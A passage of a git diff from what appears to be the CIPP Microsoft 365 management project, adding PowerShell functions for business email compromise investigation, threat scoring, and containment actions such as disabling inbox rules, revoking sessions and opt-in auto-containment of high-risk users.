@($AcceptedDomains) + Completeness = [pscustomobject]$Completeness + AnalysisWindowDays = $WindowDays ExtractedAt = (Get-Date) ExtractResult = $ExtractResult } - - $Entity = @{ - UserId = $SuspectUser - Results = [string]($Results | ConvertTo-Json -Depth 10 -Compress) - RowKey = $SuspectUser - PartitionKey = 'bec' - Status = 'Completed' + $Score = Get-CIPPBecScore -Results $Results -Heuristics $Heuristics + $Results | Add-Member -NotePropertyName 'Score' -NotePropertyValue $Score -Force + + $null = Set-CIPPBecReport -TenantFilter $TenantFilter -CaseId $CaseId -Results $Results -Properties @{ + UserId = [string]$SuspectUser + UserPrincipalName = [string]$UserName + DisplayName = [string]$SuspectUserDetail.displayName + Status = 'Completed' + Scope = $Scope + Score = [int]$Score.Value + Level = [string]$Score.Level + ExtractedAt = $Results.ExtractedAt.ToUniversalTime().ToString('o') + IncompleteCount = @($Completeness.Values | Where-Object { -not $_.Complete }).Count } - Add-CIPPAzDataTableEntity @Table -Entity $Entity -Force - Write-LogMessage -API 'BECRun' -message "BEC Check run for $UserName" -tenant $TenantFilter -sev 'Info' + Write-LogMessage -API 'BECRun' -message "BEC Check ($Scope) run for $UserName - threat level $($Score.Level) ($($Score.Value)) [case $CaseId]" -tenant $TenantFilter -sev 'Info' + & $Step 'Score' 'succeeded' "Threat level $($Score.Level) ($($Score.Value))" + Set-CIPPAsyncDeploymentStatus -JobId $CaseId -Name $ProgressName -Status 'succeeded' -Logs "Completed the $Scope run $CaseId with threat level $($Score.Level) ($($Score.Value))" } catch { $errMessage = Get-NormalizedError -message $_.Exception.Message $CippError = Get-CippException -Exception $_ - $results = [pscustomobject]@{'Results' = "$errMessage"; Exception = $CippError; ExtractedAt = (Get-Date) } - Write-LogMessage -API 'BECRun' -message "Error Running BEC for $($UserName): $errMessage" -tenant $TenantFilter -sev 'Error' -LogData $CIPPError - $Entity = @{ - UserId = $SuspectUser - Results = [string]($Results | ConvertTo-Json -Depth 10 -Compress) - RowKey = $SuspectUser - PartitionKey = 'bec' - Status = 'Error' - } - Add-CIPPAzDataTableEntity @Table -Entity $Entity -Force + Write-LogMessage -API 'BECRun' -message "Error Running BEC for $($UserName): $errMessage [case $CaseId]" -tenant $TenantFilter -sev 'Error' -LogData $CIPPError + if ($Progress.Current) { & $Step $Progress.Current 'failed' $errMessage } + Set-CIPPAsyncDeploymentStatus -JobId $CaseId -Name $ProgressName -Status 'failed' -Logs $errMessage + try { + $null = Set-CIPPBecReport -TenantFilter $TenantFilter -CaseId $CaseId -Properties @{ + UserId = [string]$SuspectUser + UserPrincipalName = [string]$UserName + Status = 'Error' + Scope = $Scope + ErrorMessage = [string]$errMessage + ExtractedAt = (Get-Date).ToUniversalTime().ToString('o') + } + } catch { + Write-Information "BEC: could not record the failed run $CaseId`: $($_.Exception.Message)" + } + } finally { + Set-CippBecCaseContext -CaseId $null } } diff --git a/backend/Modules/CIPPAlerts/Public/Alerts/Get-CIPPAlertNewRiskyUsers.ps1 b/backend/Modules/CIPPAlerts/Public/Alerts/Get-CIPPAlertNewRiskyUsers.ps1 index 46a8033f3c..cb8a5c3207 100644 --- a/backend/Modules/CIPPAlerts/Public/Alerts/Get-CIPPAlertNewRiskyUsers.ps1 +++ b/backend/Modules/CIPPAlerts/Public/Alerts/Get-CIPPAlertNewRiskyUsers.ps1 @@ -5,10 +5,13 @@ function Get-CIPPAlertNewRiskyUsers { #> [CmdletBinding()] param ( + # Opt-in: run the default BEC containment for users that newly appear at high risk. [Parameter(Mandatory = $false)] [Alias('input')] + $InputValue, $TenantFilter ) + $ContainHighRiskUsers = ($InputValue -eq $true -or [string]$InputValue -eq 'true') $Deltatable = Get-CIPPTable -Table DeltaCompare try { # Check if tenant has P2 capabilities @@ -49,8 +52,28 @@ function Get-CIPPAlertNewRiskyUsers { default { 'Info' } } + # Opt-in auto-containment: the default six-step BEC containment for a user that is + # newly at high risk and still at risk. Automation confirms the Critical actions by + # design; the password never enters the alert payload. + $Containment = $null + if ($ContainHighRiskUsers -and $_.riskLevel -eq 'high' -and $_.riskState -eq 'atRisk') { + $RiskyUpn = $_.userPrincipalName + try { + $Rows = Invoke-CIPPBecContainment -TenantFilter $TenantFilter -UserPrincipalName $RiskyUpn -Confirmed -Headers 'Alert Engine' -APIName 'Alert Engine' + $Containment = @(foreach ($Row in @($Rows)) { + $Text = [string]$Row.resultText + if ($Row.copyField) { $Text = $Text.Replace([string]$Row.copyField, '[redacted]') } + "$($Row.Action) ($($Row.state)): $Text" + }) -join '; ' + Write-LogMessage -API 'Alerts' -tenant $TenantFilter -message "Auto-contained high-risk user $RiskyUpn (NewRiskyUsers alert)" -sev Info + } catch { + $Containment = "Auto-containment failed: $($_.Exception.Message)" + Write-LogMessage -API 'Alerts' -tenant $TenantFilter -message "Auto-containment of high-risk user $RiskyUpn failed: $($_.Exception.Message)" -sev Error + } + } + [PSCustomObject]@{ - Message = "New risky user detected: $($_.userPrincipalName)" + Message = "New risky user detected: $($_.userPrincipalName)$(if ($Containment) { ' - BEC containment executed' })" Details = @{ RiskLevel = $_.riskLevel RiskState = $_.riskState @@ -59,6 +82,7 @@ function Get-CIPPAlertNewRiskyUsers { IsProcessing = $_.isProcessing RiskHistory = $RiskHistory Severity = $Severity + Containment = $Containment } Tenant = $TenantFilter } diff --git a/backend/Modules/CIPPCore/Public/AsyncDeployment/Get-CIPPAsyncDeployment.ps1 b/backend/Modules/CIPPCore/Public/AsyncDeployment/Get-CIPPAsyncDeployment.ps1 index 4162a966d2..a1c3c0a824 100644 --- a/backend/Modules/CIPPCore/Public/AsyncDeployment/Get-CIPPAsyncDeployment.ps1 +++ b/backend/Modules/CIPPCore/Public/AsyncDeployment/Get-CIPPAsyncDeployment.ps1 @@ -31,6 +31,8 @@ function Get-CIPPAsyncDeployment { TenantFilter = $_.TenantFilter Steps = @($_.Steps | ConvertFrom-Json) Logs = $_.Logs + # when the row last changed (a step or status update); lets callers detect abandoned jobs + LastUpdate = $_.Timestamp } }) } diff --git a/backend/Modules/CIPPCore/Public/BEC/Disable-CIPPInboxRules.ps1 b/backend/Modules/CIPPCore/Public/BEC/Disable-CIPPInboxRules.ps1 new file mode 100644 index 0000000000..ea181f6f07 --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Disable-CIPPInboxRules.ps1 @@ -0,0 +1,70 @@ +function Disable-CIPPInboxRules { + <# + .SYNOPSIS + Disables a mailbox's inbox rules for BEC containment. + .DESCRIPTION + Disables every inbox rule on the mailbox except the Junk E-Mail and out-of-office system rules, + or only the rules whose Identity is in RuleIds. Each rule is handled on its own: one failure + never stops the rest, and the Exchange-managed 'Delegate Rule -N' rules, which cannot be + disabled, are skipped rather than reported as failures. Returns one result row per outcome. + .PARAMETER TenantFilter + Tenant default domain name. + .PARAMETER UserPrincipalName + The mailbox. + .PARAMETER RuleIds + Optional rule identities to restrict the operation to. + .PARAMETER Headers + CIPP request headers for logging. + .PARAMETER APIName + Logging API name. + .FUNCTIONALITY + Internal + #> + [CmdletBinding(SupportsShouldProcess = $true)] + param( + [Parameter(Mandatory = $true)][string]$TenantFilter, + [Parameter(Mandatory = $true)][string]$UserPrincipalName, + [string[]]$RuleIds, + $Headers, + [string]$APIName = 'BECRemediate' + ) + + $Results = [System.Collections.Generic.List[object]]::new() + $Add = { param($Text, $State) $Results.Add([pscustomobject]@{ resultText = $Text; state = $State }) } + + $Rules = @(New-ExoRequest -anchor $UserPrincipalName -tenantid $TenantFilter -cmdlet 'Get-InboxRule' -cmdParams @{ Mailbox = $UserPrincipalName; IncludeHidden = $true } | Where-Object { $_ }) + if ($Rules.Count -eq 0) { + & $Add "No inbox rules found for $UserPrincipalName." 'info' + return $Results.ToArray() + } + + $Processable = @($Rules | Where-Object { $_.Name -ne 'Junk E-Mail Rule' -and $_.Name -notlike 'Microsoft.Exchange.OOF.*' }) + if ($RuleIds) { + $Processable = @($Processable | Where-Object { $_.Identity -in $RuleIds -or $_.Name -in $RuleIds -or $_.RuleIdentity -in $RuleIds }) + } + if ($Processable.Count -eq 0) { + & $Add "Found $($Rules.Count) inbox rule(s) for $UserPrincipalName, but none require disabling (only system rules found)." 'info' + return $Results.ToArray() + } + + $Disabled = 0 + $Skipped = 0 + foreach ($Rule in $Processable) { + if (-not $PSCmdlet.ShouldProcess("$UserPrincipalName rule '$($Rule.Name)'", 'Disable inbox rule')) { continue } + try { + $null = Set-CIPPMailboxRule -Username $UserPrincipalName -UserId $UserPrincipalName -TenantFilter $TenantFilter -RuleId $Rule.Identity -RuleName $Rule.Name -Disable -APIName $APIName -Headers $Headers + $Disabled++ + } catch { + if ($Rule.Name -match '^Delegate Rule -\d+$') { + # Exchange-managed delegate rules cannot be disabled; expected, not a failure. + $Skipped++ + } else { + & $Add "Could not disable rule '$($Rule.Name)': $($_.Exception.Message)" 'error' + } + } + } + if ($Disabled -gt 0) { & $Add "Disabled $Disabled inbox rule(s) for $UserPrincipalName." 'success' } + if ($Skipped -gt 0) { & $Add "Skipped $Skipped Exchange-managed delegate rule(s) that cannot be disabled." 'info' } + if ($Disabled -eq 0 -and $Skipped -eq 0 -and $Results.Count -eq 0) { & $Add "No processable inbox rules found for $UserPrincipalName." 'info' } + return $Results.ToArray() +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Disable-CIPPMailboxApp.ps1 b/backend/Modules/CIPPCore/Public/BEC/Disable-CIPPMailboxApp.ps1 new file mode 100644 index 0000000000..5501404357 --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Disable-CIPPMailboxApp.ps1 @@ -0,0 +1,42 @@ +function Disable-CIPPMailboxApp { + <# + .SYNOPSIS + Disables an add-in for one mailbox. + .DESCRIPTION + Runs Disable-App for the add-in identity scoped to the mailbox. The add-in stays installed and + can be re-enabled by the user or an administrator. + .PARAMETER TenantFilter + Tenant default domain name. + .PARAMETER UserPrincipalName + The mailbox. + .PARAMETER Identity + The add-in identity (from Get-App). + .PARAMETER Headers + CIPP request headers for logging. + .PARAMETER APIName + Logging API name. + .FUNCTIONALITY + Internal + #> + [CmdletBinding(SupportsShouldProcess = $true)] + param( + [Parameter(Mandatory = $true)][string]$TenantFilter, + [Parameter(Mandatory = $true)][string]$UserPrincipalName, + [Parameter(Mandatory = $true)][string]$Identity, + $Headers, + [string]$APIName = 'BECRemediate' + ) + + if (-not $PSCmdlet.ShouldProcess("$UserPrincipalName add-in $Identity", 'Disable-App')) { return } + try { + $null = New-ExoRequest -tenantid $TenantFilter -cmdlet 'Disable-App' -cmdParams @{ Identity = $Identity; Mailbox = $UserPrincipalName; Confirm = $false } -Anchor $UserPrincipalName + $Message = "Disabled add-in $Identity for $UserPrincipalName" + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message $Message -Sev 'Info' + return $Message + } catch { + $ErrorMessage = Get-CippException -Exception $_ + $Message = "Failed to disable add-in $Identity for $UserPrincipalName`: $($ErrorMessage.NormalizedError)" + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message $Message -Sev 'Error' -LogData $ErrorMessage + throw $Message + } +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecContainmentActions.ps1 b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecContainmentActions.ps1 new file mode 100644 index 0000000000..90343ec068 --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecContainmentActions.ps1 @@ -0,0 +1,41 @@ +function Get-CIPPBecContainmentActions { + <# + .SYNOPSIS + Returns the catalog of BEC containment actions. + .DESCRIPTION + The single source of truth for what Invoke-CIPPBecContainment can do: id, label, what it does, + impact (Low/Medium/High/Critical), whether it is reversible, whether it runs by default (the + six-step remediation the feature always had), the order the dispatcher runs it in, and the + parameter it reads its explicit targets from. Critical actions need a typed confirmation from + an operator; automation (the webhook action) passes -Confirmed instead. The frontend renders + this list, so labels and descriptions are operator-facing. + .FUNCTIONALITY + Internal + #> + [CmdletBinding()] + param() + + @( + [pscustomobject]@{ Id = 'ResetPassword'; Label = 'Reset password'; Description = 'Sets a new random password (shown once, or as a PwPush link) and requires a change at next sign-in.'; Impact = 'Critical'; Reversible = $false; DefaultSelected = $true; Order = 1; TargetSource = $null; ParameterName = $null } + [pscustomobject]@{ Id = 'DisableAccount'; Label = 'Block sign-in'; Description = 'Disables the account in Entra ID. Directory-synced accounts must also be disabled on-premises or the sync will re-enable them.'; Impact = 'Critical'; Reversible = $true; DefaultSelected = $true; Order = 2; TargetSource = $null; ParameterName = $null } + [pscustomobject]@{ Id = 'RevokeSessions'; Label = 'Revoke sessions'; Description = 'Invalidates every refresh token so existing sessions and stolen tokens stop working.'; Impact = 'High'; Reversible = $false; DefaultSelected = $true; Order = 3; TargetSource = $null; ParameterName = $null } + [pscustomobject]@{ Id = 'RemoveMFA'; Label = 'Remove MFA methods'; Description = 'Removes the selected authentication methods, or every method when none is selected, so an attacker-registered method cannot be used to get back in.'; Impact = 'High'; Reversible = $false; DefaultSelected = $true; Order = 4; TargetSource = 'MFADevices'; ParameterName = 'MfaMethodIds' } + [pscustomobject]@{ Id = 'RemoveOAuthGrants'; Label = 'Revoke application consents'; Description = 'Deletes the selected OAuth consent grants and app-role assignments (flagged ones by default). Consent survives a password reset.'; Impact = 'Critical'; Reversible = $false; DefaultSelected = $false; Order = 5; TargetSource = 'UserGrants'; ParameterName = 'GrantIds' } + [pscustomobject]@{ Id = 'DisableServicePrincipals'; Label = 'Disable rogue applications tenant-wide'; Description = 'Disables the service principal of every application that matched the rogue-app catalogs, for all users. Re-enable it from the enterprise applications page if it turns out to be legitimate.'; Impact = 'Critical'; Reversible = $true; DefaultSelected = $false; Order = 6; TargetSource = 'UserGrants'; ParameterName = 'ServicePrincipalIds' } + [pscustomobject]@{ Id = 'DisableInboxRules'; Label = 'Disable inbox rules'; Description = 'Disables every inbox rule on the mailbox except the junk and out-of-office system rules, or only the selected ones.'; Impact = 'High'; Reversible = $true; DefaultSelected = $true; Order = 7; TargetSource = 'NewRules'; ParameterName = 'RuleIds' } + [pscustomobject]@{ Id = 'ClearForwarding'; Label = 'Clear mailbox forwarding'; Description = 'Removes the mailbox forwarding address and SMTP forwarding address.'; Impact = 'High'; Reversible = $true; DefaultSelected = $false; Order = 8; TargetSource = 'MailboxState'; ParameterName = $null } + [pscustomobject]@{ Id = 'ClearAutoReply'; Label = 'Turn off automatic replies'; Description = 'Disables the out-of-office auto-reply, a common diversion once a mailbox is taken over.'; Impact = 'Medium'; Reversible = $true; DefaultSelected = $false; Order = 9; TargetSource = 'MailboxState'; ParameterName = $null } + [pscustomobject]@{ Id = 'RemoveDelegations'; Label = 'Remove mailbox delegations'; Description = 'Removes the selected FullAccess, SendAs, SendOnBehalf, folder and resource-delegate permissions (flagged ones by default).'; Impact = 'Critical'; Reversible = $true; DefaultSelected = $false; Order = 10; TargetSource = 'Delegations'; ParameterName = 'Delegations' } + [pscustomobject]@{ Id = 'DisableTransportRules'; Label = 'Disable transport rules'; Description = 'Disables the selected tenant-wide transport rules (by default the flagged ones changed in the window). Affects every mailbox in the tenant.'; Impact = 'Critical'; Reversible = $true; DefaultSelected = $false; Order = 11; TargetSource = 'TransportRulesFlagged'; ParameterName = 'TransportRuleIds' } + [pscustomobject]@{ Id = 'DisableMailboxAddIns'; Label = 'Disable mailbox add-ins'; Description = 'Disables the selected add-ins for this mailbox (flagged user-installed ones by default).'; Impact = 'Medium'; Reversible = $true; DefaultSelected = $false; Order = 12; TargetSource = 'MailboxAddIns'; ParameterName = 'AddInIds' } + [pscustomobject]@{ Id = 'BlockProtocols'; Label = 'Block legacy mailbox protocols'; Description = 'Turns off the selected client protocols on the mailbox (EWS, IMAP, POP and ActiveSync by default; OWA, MAPI and SMTP AUTH optional).'; Impact = 'High'; Reversible = $true; DefaultSelected = $false; Order = 13; TargetSource = 'MailboxState'; ParameterName = 'Protocols' } + [pscustomobject]@{ Id = 'BlockMobileDevices'; Label = 'Block mobile device partnerships'; Description = 'Adds the selected ActiveSync devices (all by default) to the mailbox block list.'; Impact = 'High'; Reversible = $true; DefaultSelected = $false; Order = 14; TargetSource = 'SuspectUserDevices'; ParameterName = 'MobileDeviceIds' } + [pscustomobject]@{ Id = 'RemoveMobileDevices'; Label = 'Remove mobile device partnerships'; Description = 'Deletes the selected ActiveSync device partnerships (all by default); the device must re-pair to sync again.'; Impact = 'High'; Reversible = $false; DefaultSelected = $false; Order = 15; TargetSource = 'SuspectUserDevices'; ParameterName = 'MobileDeviceIds' } + [pscustomobject]@{ Id = 'DisableRegisteredDevices'; Label = 'Disable registered devices'; Description = 'Disables the selected Entra devices (those registered in the window by default) so they can no longer satisfy device-based Conditional Access.'; Impact = 'High'; Reversible = $true; DefaultSelected = $false; Order = 16; TargetSource = 'RegisteredDevices'; ParameterName = 'RegisteredDeviceIds' } + [pscustomobject]@{ Id = 'RemoveRegisteredDevices'; Label = 'Delete registered devices'; Description = 'Deletes the selected Entra device objects (those registered in the window by default).'; Impact = 'Critical'; Reversible = $false; DefaultSelected = $false; Order = 17; TargetSource = 'RegisteredDevices'; ParameterName = 'RegisteredDeviceIds' } + [pscustomobject]@{ Id = 'TargetedCAPolicy'; Label = 'Targeted Conditional Access policy'; Description = 'Creates a Conditional Access policy for this user only that requires MFA (optionally plus a compliant device) for every application, and schedules its removal after the chosen number of hours.'; Impact = 'High'; Reversible = $true; DefaultSelected = $false; Order = 18; TargetSource = $null; ParameterName = 'CAPolicy' } + [pscustomobject]@{ Id = 'DisableOneDriveSharing'; Label = 'Disable OneDrive sharing'; Description = "Sets the user's OneDrive sharing capability to disabled. Existing links are not removed."; Impact = 'Medium'; Reversible = $true; DefaultSelected = $true; Order = 19; TargetSource = 'SharingChanges'; ParameterName = $null } + [pscustomobject]@{ Id = 'BlockSenders'; Label = 'Block phishing senders tenant-wide'; Description = 'Adds the phishing-shaped senders that reached this mailbox (from the received-mail findings) to the Tenant Allow/Block List as blocked senders, for every mailbox in the tenant. Reversible from the Tenant Allow/Block List page.'; Impact = 'Medium'; Reversible = $true; DefaultSelected = $false; Order = 20; TargetSource = 'ReceivedMailFindings'; ParameterName = 'BlockSenders' } + [pscustomobject]@{ Id = 'RemoveSharingLinks'; Label = 'Remove OneDrive/SharePoint sharing links'; Description = 'Deletes the anonymous ("anyone") and company-wide sharing links the user created on OneDrive/SharePoint items in the window (from the sharing-change findings). Unlike disabling sharing, this revokes links that already exist and are the actual exposure. Not reversible - a removed link is gone, though it can be re-created.'; Impact = 'High'; Reversible = $false; DefaultSelected = $false; Order = 21; TargetSource = 'SharingChanges'; ParameterName = 'SharingLinkUrls' } + ) +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecDirectoryAudits.ps1 b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecDirectoryAudits.ps1 new file mode 100644 index 0000000000..90a0360119 --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecDirectoryAudits.ps1 @@ -0,0 +1,91 @@ +function Get-CIPPBecDirectoryAudits { + <# + .SYNOPSIS + Collects the Entra directory-audit events that targeted, or were initiated by, the investigated user. + .DESCRIPTION + Queries auditLogs/directoryAudits twice in one batch - once with targetResources/any(id eq user) + and once with initiatedBy/user/id eq user (the two cannot be or-combined on this endpoint) - + de-duplicates on id and flags the activities that matter during a compromise investigation + (security-info registration, consent, service principals, device registration, password and + token events, role changes) from the heuristics file. Metadata only: the audit record's + activity name, actor, IP, targets and modified property names. + .PARAMETER TenantFilter + Tenant default domain name. + .PARAMETER UserId + The user's object id. + .PARAMETER StartDate + Window start (UTC). + .PARAMETER Heuristics + The BEC heuristics object (directoryAudit.flaggedActivities). + .PARAMETER Cap + Maximum rows per direction. + .FUNCTIONALITY + Internal + #> + [CmdletBinding()] + param( + [Parameter(Mandatory = $true)][string]$TenantFilter, + [Parameter(Mandatory = $true)][string]$UserId, + [Parameter(Mandatory = $true)][datetime]$StartDate, + [Parameter(Mandatory = $true)]$Heuristics, + [int]$Cap = 500 + ) + + $SafeId = ConvertTo-CIPPODataFilterValue -Value $UserId -Type Guid + $Start = $StartDate.ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ') + $Select = 'id,activityDateTime,activityDisplayName,category,result,resultReason,initiatedBy,targetResources,loggedByService' + $Requests = @( + @{ id = 'Target'; method = 'GET'; url = "auditLogs/directoryAudits?`$filter=activityDateTime ge $Start and targetResources/any(t:t/id eq '$SafeId')&`$top=$Cap&`$select=$Select"; headers = @{ ConsistencyLevel = 'eventual' } } + @{ id = 'Actor'; method = 'GET'; url = "auditLogs/directoryAudits?`$filter=activityDateTime ge $Start and initiatedBy/user/id eq '$SafeId'&`$top=$Cap&`$select=$Select"; headers = @{ ConsistencyLevel = 'eventual' } } + ) + $Responses = New-GraphBulkRequest -Requests $Requests -tenantid $TenantFilter -asapp $true + + $Flagged = @($Heuristics.directoryAudit.flaggedActivities) + $Errors = [System.Collections.Generic.List[string]]::new() + $Seen = [System.Collections.Generic.HashSet[string]]::new() + $Rows = [System.Collections.Generic.List[object]]::new() + $Capped = $false + foreach ($Direction in @('Target', 'Actor')) { + $Response = $Responses | Where-Object { $_.id -eq $Direction } | Select-Object -First 1 + if (-not $Response) { $Errors.Add("$Direction query returned no response"); continue } + if ([int]$Response.status -ge 400) { $Errors.Add("$Direction query: $($Response.body.error.message ?? "status $($Response.status)")"); continue } + $Items = @($Response.body.value) + if ($Items.Count -ge $Cap -or $Response.body.'@odata.nextLink') { $Capped = $true } + foreach ($Item in $Items) { + if (-not $Item.id -or -not $Seen.Add([string]$Item.id)) { continue } + $Actor = if ($Item.initiatedBy.user) { $Item.initiatedBy.user.userPrincipalName ?? $Item.initiatedBy.user.displayName ?? $Item.initiatedBy.user.id } elseif ($Item.initiatedBy.app) { $Item.initiatedBy.app.displayName ?? $Item.initiatedBy.app.appId } else { $null } + $ActorType = if ($Item.initiatedBy.user) { 'User' } elseif ($Item.initiatedBy.app) { 'Application' } else { 'Unknown' } + $Targets = @(foreach ($T in @($Item.targetResources)) { $T.userPrincipalName ?? $T.displayName ?? $T.id }) + $Modified = @(foreach ($T in @($Item.targetResources)) { + foreach ($P in @($T.modifiedProperties)) { + if (-not $P.displayName) { continue } + $NewValue = [string]$P.newValue + if ($NewValue.Length -gt 200) { $NewValue = $NewValue.Substring(0, 200) + '...' } + "$($P.displayName)=$NewValue" + } + }) + $Activity = [string]$Item.activityDisplayName + $IsFlagged = ($Activity -in $Flagged) -or ($Activity -like 'User registered*security info*') -or ($Activity -like '*Strong Authentication*') + $Rows.Add([pscustomobject]@{ + Id = $Item.id + ActivityDateTime = if ($Item.activityDateTime) { ([datetime]$Item.activityDateTime).ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ') } else { $null } + Activity = $Activity + Category = $Item.category + Service = $Item.loggedByService + Result = $Item.result + ResultReason = $Item.resultReason + InitiatedBy = $Actor + InitiatedByType = $ActorType + ClientIP = $Item.initiatedBy.user.ipAddress + Targets = ($Targets -join ', ') + ModifiedProperties = ($Modified -join '; ') + Direction = $Direction + Flagged = [bool]$IsFlagged + }) + } + } + + $Data = @($Rows | Sort-Object -Property @{ Expression = { $_.Flagged }; Descending = $true }, @{ Expression = { $_.ActivityDateTime }; Descending = $true }) + $ErrorText = if ($Errors.Count -gt 0) { $Errors -join '; ' } else { $null } + return New-CIPPBecCollectorResult -Data $Data -Complete (-not $Capped -and $Errors.Count -eq 0) -Cap ($(if ($Capped) { "$Cap rows per direction" } else { $null })) -Error $ErrorText +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecErrorInfo.ps1 b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecErrorInfo.ps1 new file mode 100644 index 0000000000..2bb3577eb1 --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecErrorInfo.ps1 @@ -0,0 +1,48 @@ +function Get-CIPPBecErrorInfo { + <# + .SYNOPSIS + Turns a raw collector error into a concise message and classifies known-benign conditions. + .DESCRIPTION + Collectors surface raw Exchange/Graph exception text (e.g. "Ex41BAF5|Microsoft.Exchange... + ManagementObjectNotFoundException|The specified mailbox ... doesn't exist."). This strips the + diagnostic prefix and support-reference noise for display, and recognises the conditions that + are not failures at all - the user has no mailbox, or the tenant has no Intune - returning + Skipped=$true with a plain-language Requirement so the UI shows "not checked", never a failure + and never a pass. Anything it does not recognise comes back as a cleaned failure message. + .PARAMETER Message + The raw error text from a collector. + .OUTPUTS + [pscustomobject] { Message, Skipped, Requirement } + .FUNCTIONALITY + Internal + #> + [CmdletBinding()] + param([string]$Message) + + if ([string]::IsNullOrWhiteSpace($Message)) { + return [pscustomobject]@{ Message = $null; Skipped = $false; Requirement = $null } + } + $Raw = [string]$Message + + # No mailbox / not a recipient: the mailbox checks do not apply to this user - it is not a failure. + if ($Raw -match "(?i)ManagementObjectNotFoundException|couldn't (find .+? as a recipient|be found as a recipient)|specified mailbox.+does(n't| not) exist|object '.+' couldn't be found on|Identity:.+couldn't be found") { + return [pscustomobject]@{ + Message = 'This user has no Exchange Online mailbox.' + Skipped = $true + Requirement = 'this user has no Exchange Online mailbox' + } + } + # Intune not provisioned (or a transient service 404): treat as not applicable, with a retry hint. + if ($Raw -match '(?i)Intune.+(HTTP 404|not.+provision|no.+Intune)') { + return [pscustomobject]@{ + Message = "Intune isn't provisioned for this tenant (or a transient service error - rerun to retry)." + Skipped = $true + Requirement = 'Intune, which is not provisioned for this tenant' + } + } + + # Otherwise a real failure: strip the Exchange "ExNNNN|Type|" prefix and any support-reference tail. + $Clean = if ($Raw -match '(?i)Ex[0-9A-F]{4,}\|[^|]*\|(.+)$') { $Matches[1] } else { $Raw } + $Clean = ($Clean -replace '(?i)\s*Microsoft support reference.*$', '').Trim() + return [pscustomobject]@{ Message = $Clean; Skipped = $false; Requirement = $null } +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecHeuristics.ps1 b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecHeuristics.ps1 new file mode 100644 index 0000000000..925aaee30c --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecHeuristics.ps1 @@ -0,0 +1,51 @@ +function Get-CIPPBecHeuristics { + <# + .SYNOPSIS + Loads the BEC detection heuristics from Config\BecHeuristics.json. + .DESCRIPTION + Returns the parsed heuristics object (regexes, thresholds, caps and score weights) used by the + BEC collectors and the server-side threat score. The file is memoised per worker and reloaded + when its last-write time changes, so edits are picked up without a restart while a single run + never pays for repeated parsing. + + When riskyScopes.includeRiskyPermissionsCatalog is true the delegated permission names from + Config\RiskyPermissions.json are merged into riskyScopes.catalogNames so a grant is flagged by + the curated catalog as well as by the regex. + .PARAMETER Force + Ignore the memo and reload from disk. + .FUNCTIONALITY + Internal + #> + [CmdletBinding()] + param( + [switch]$Force + ) + + $Path = Join-Path $env:CIPPRootPath 'Config\BecHeuristics.json' + $LastWrite = try { (Get-Item -Path $Path -ErrorAction Stop).LastWriteTimeUtc } catch { $null } + + if (-not $Force -and $script:CippBecHeuristicsMemo -and $script:CippBecHeuristicsMemo.Path -eq $Path -and $script:CippBecHeuristicsMemo.LastWrite -eq $LastWrite) { + return $script:CippBecHeuristicsMemo.Heuristics + } + + $Heuristics = [System.IO.File]::ReadAllText($Path) | ConvertFrom-Json -ErrorAction Stop + + # Merge the curated delegated-permission catalog so a grant is caught by name as well as by regex. + $CatalogNames = @() + if ($Heuristics.riskyScopes.includeRiskyPermissionsCatalog -eq $true) { + try { + $RiskyPermissions = [System.IO.File]::ReadAllText((Join-Path $env:CIPPRootPath 'Config\RiskyPermissions.json')) | ConvertFrom-Json -ErrorAction Stop + $CatalogNames = @($RiskyPermissions | Where-Object { $_.type -eq 'Delegated' -and $_.name } | ForEach-Object { $_.name } | Select-Object -Unique) + } catch { + Write-Information "BEC heuristics: could not merge RiskyPermissions.json: $($_.Exception.Message)" + } + } + $Heuristics.riskyScopes | Add-Member -NotePropertyName 'catalogNames' -NotePropertyValue $CatalogNames -Force + + $script:CippBecHeuristicsMemo = @{ + Path = $Path + LastWrite = $LastWrite + Heuristics = $Heuristics + } + return $Heuristics +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecMailActivity.ps1 b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecMailActivity.ps1 new file mode 100644 index 0000000000..2727b7c475 --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecMailActivity.ps1 @@ -0,0 +1,138 @@ +function Get-CIPPBecMailActivity { + <# + .SYNOPSIS + Counts the investigated user's mailbox activity from the unified audit log, bucketed by client IP and application. + .DESCRIPTION + Answers "what did they read, delete and send, and from where" without storing a single item: + MailItemsAccessed, HardDelete, SoftDelete, MoveToDeletedItems and Send records attributed to the + user, plus tenant-wide SendAs/SendOnBehalf records whose mailbox owner is the user, are reduced + to counts per Operation x ClientIP x client application x access type with first/last seen + times. Aggregated MailItemsAccessed records contribute their OperationCount. No subjects, + folders or item ids are kept. MailItemsAccessed needs Purview Audit (Premium); when the log + does not carry it the other operations still count. + .PARAMETER TenantFilter + Tenant default domain name. + .PARAMETER UserPrincipalName + The investigated user. + .PARAMETER StartDate + Window start (UTC). + .PARAMETER EndDate + Window end (UTC). + .PARAMETER Heuristics + The BEC heuristics object (mailActivity section, caps). + .PARAMETER Anchor + Anchor mailbox for the EXO requests. + .FUNCTIONALITY + Internal + #> + [CmdletBinding()] + param( + [Parameter(Mandatory = $true)][string]$TenantFilter, + [Parameter(Mandatory = $true)][string]$UserPrincipalName, + [Parameter(Mandatory = $true)][datetime]$StartDate, + [Parameter(Mandatory = $true)][datetime]$EndDate, + [Parameter(Mandatory = 